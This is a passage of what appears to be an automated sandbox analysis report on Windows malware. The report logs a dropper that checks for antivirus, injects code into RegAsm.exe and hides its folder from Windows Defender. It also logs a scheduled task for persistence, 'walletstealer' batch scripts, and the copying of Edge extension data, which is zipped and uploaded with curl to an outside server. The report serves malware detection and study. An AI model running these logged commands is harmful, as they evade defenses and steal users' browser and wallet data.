                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 94812
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 94703
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 94593
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 94484
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 94375
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 94265
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeThread delayed: delay time: 94156
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: C:\Users\user~1\Jump to behavior
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: C:\Users\user~1\AppData\Local\Temp\491505Jump to behavior
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: C:\Users\user~1\AppData\Local\Temp\Jump to behavior
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: C:\Users\user~1\AppData\Local\Jump to behavior
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: C:\Users\user~1\AppData\Local\Temp\491505\Jump to behavior
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: C:\Users\user~1\AppData\Jump to behavior
                              Source: curl.exe, 0000002C.00000002.3016304287.000000000378B000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
                              Source: C:\Users\user\AppData\Local\Temp\491505\Dr.comProcess information queried: ProcessInformationJump to behavior
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrCode function: 24_2_008245D5 BlockInput,24_2_008245D5
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrCode function: 24_2_007C5240 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,KiUserCallbackDispatcher,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,24_2_007C5240
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrCode function: 24_2_007E5CAC EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,24_2_007E5CAC
                              Source: C:\Users\user\Desktop\File.exeCode function: 0_2_00406328 GetModuleHandleA,LoadLibraryA,GetProcAddress,0_2_00406328
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrCode function: 24_2_008088CD GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,24_2_008088CD
                              Source: C:\Windows\SysWOW64\tasklist.exeProcess token adjusted: DebugJump to behavior
                              Source: C:\Windows\SysWOW64\tasklist.exeProcess token adjusted: DebugJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess token adjusted: DebugJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeProcess token adjusted: Debug
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrCode function: 24_2_007DA354 SetUnhandledExceptionFilter,24_2_007DA354
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrCode function: 24_2_007DA385 SetUnhandledExceptionFilter,UnhandledExceptionFilter,24_2_007DA385
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeMemory allocated: page read and write | page guardJump to behavior

                              HIPS / PFW / Operating System Protection Evasion

                              barindex
                              Adds a directory exclusion to Windows Defender
                              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\asm'"
                              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\asm'"
                              Injects a PE file into a foreign processes
                              Source: C:\Users\user\AppData\Local\Temp\491505\Dr.comMemory written: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exe base: 1100000 value starts with: 4D5AJump to behavior
                              Writes to foreign memory regions
                              Source: C:\Users\user\AppData\Local\Temp\491505\Dr.comMemory written: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exe base: 1100000Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\Dr.comMemory written: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exe base: F59000Jump to behavior
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrCode function: 24_2_00809369 LogonUserW,24_2_00809369
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrCode function: 24_2_007C5240 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,KiUserCallbackDispatcher,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,24_2_007C5240
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrCode function: 24_2_00811AC6 SendInput,keybd_event,24_2_00811AC6
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrCode function: 24_2_008151E2 mouse_event,24_2_008151E2
                              Source: C:\Users\user\Desktop\File.exeProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Audit Audit.cmd && Audit.cmdJump to behavior
                              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklistJump to behavior
                              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa opssvc" Jump to behavior
                              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklistJump to behavior
                              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" Jump to behavior
                              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c md 491505Jump to behavior
                              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Dentists + ..\Flavor + ..\Disturbed + ..\Artistic + ..\Justice + ..\Proceeds + ..\Zip + ..\Soundtrack + ..\Revenue BJump to behavior
                              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\491505\Dr.com Dr.com BJump to behavior
                              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\choice.exe choice /d y /t 15Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\Dr.comProcess created: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exe C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeJump to behavior
                              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\schtasks.exe schtasks.exe /create /tn "West" /tr "wscript //B 'C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.js'" /sc daily /mo 1 /ri 3 /du 23:57 /F /RL HIGHESTJump to behavior
                              Source: C:\Windows\System32\wscript.exeProcess created: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scr "C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scr" "C:\Users\user\AppData\Local\CreativePixel Tech\E"Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\walletstealer.bat" "Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess created: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe "C:\Users\user\AppData\Local\Temp\COMSurrogate.exe" Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\ex.bat" "Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\runsteal.bat" "Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeProcess created: C:\Users\user\AppData\Local\Temp\smartscreen.exe "C:\Users\user\AppData\Local\Temp\smartscreen.exe" Jump to behavior
                              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\xcopy.exe xcopy /E /I "C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\*" "C:\Users\user~1\AppData\Local\Temp\ArchiveContents\Edge\"
                              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c curl -s https://api.ipify.org
                              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -command "Compress-Archive -Path 'C:\Users\user~1\AppData\Local\Temp\ArchiveContents\*' -DestinationPath 'C:\Users\user~1\AppData\Local\Temp\N_user_8.46.123.228.zip'"
                              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c curl -F "file=@C:\Users\user~1\AppData\Local\Temp\N_user_8.46.123.228.zip" "https://cdn-downloads-now.xyz/files/upload.php"
                              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\net.exe net session
                              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\asm'"
                              Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 session
                              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\curl.exe curl -s https://api.ipify.org
                              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\curl.exe curl -F "file=@C:\Users\user~1\AppData\Local\Temp\N_user_8.46.123.228.zip" "https://cdn-downloads-now.xyz/files/upload.php"
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrCode function: 24_2_008088CD GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,24_2_008088CD
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrCode function: 24_2_00814F1C AllocateAndInitializeSid,CheckTokenMembership,FreeSid,24_2_00814F1C
                              Source: Dr.com, 0000000F.00000003.1312358911.0000000003D0E000.00000004.00000800.00020000.00000000.sdmp, Dr.com, 0000000F.00000000.1295441943.00000000010A6000.00000002.00000001.01000000.00000008.sdmp, ApolloPro.scr, 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpBinary or memory string: Run Script:AutoIt script files (*.au3, *.a3x)*.au3;*.a3xAll files (*.*)*.*au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
                              Source: ApolloPro.scrBinary or memory string: Shell_TrayWnd
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrCode function: 24_2_007D885B cpuid 24_2_007D885B
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeQueries volume information: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exe VolumeInformationJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformationJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformationJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformationJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformationJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.WSMan.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.WSMan.Management.dll VolumeInformationJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeQueries volume information: C:\ VolumeInformationJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformationJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.dll VolumeInformationJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.dll VolumeInformationJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Xml\v4.0_4.0.0.0__b77a5c561934e089\System.XML.dll VolumeInformationJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeQueries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformationJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformationJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeQueries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformationJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformationJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformationJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformationJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformationJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformationJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformationJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformationJump to behavior
                              Source: C:\Windows\SysWOW64\cmd.exeQueries volume information: C:\ VolumeInformation
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeQueries volume information: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe VolumeInformation
                              Source: C:\Users\user\AppData\Local\Temp\smartscreen.exeQueries volume information: C:\Users\user\AppData\Local\Temp\smartscreen.exe VolumeInformation
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
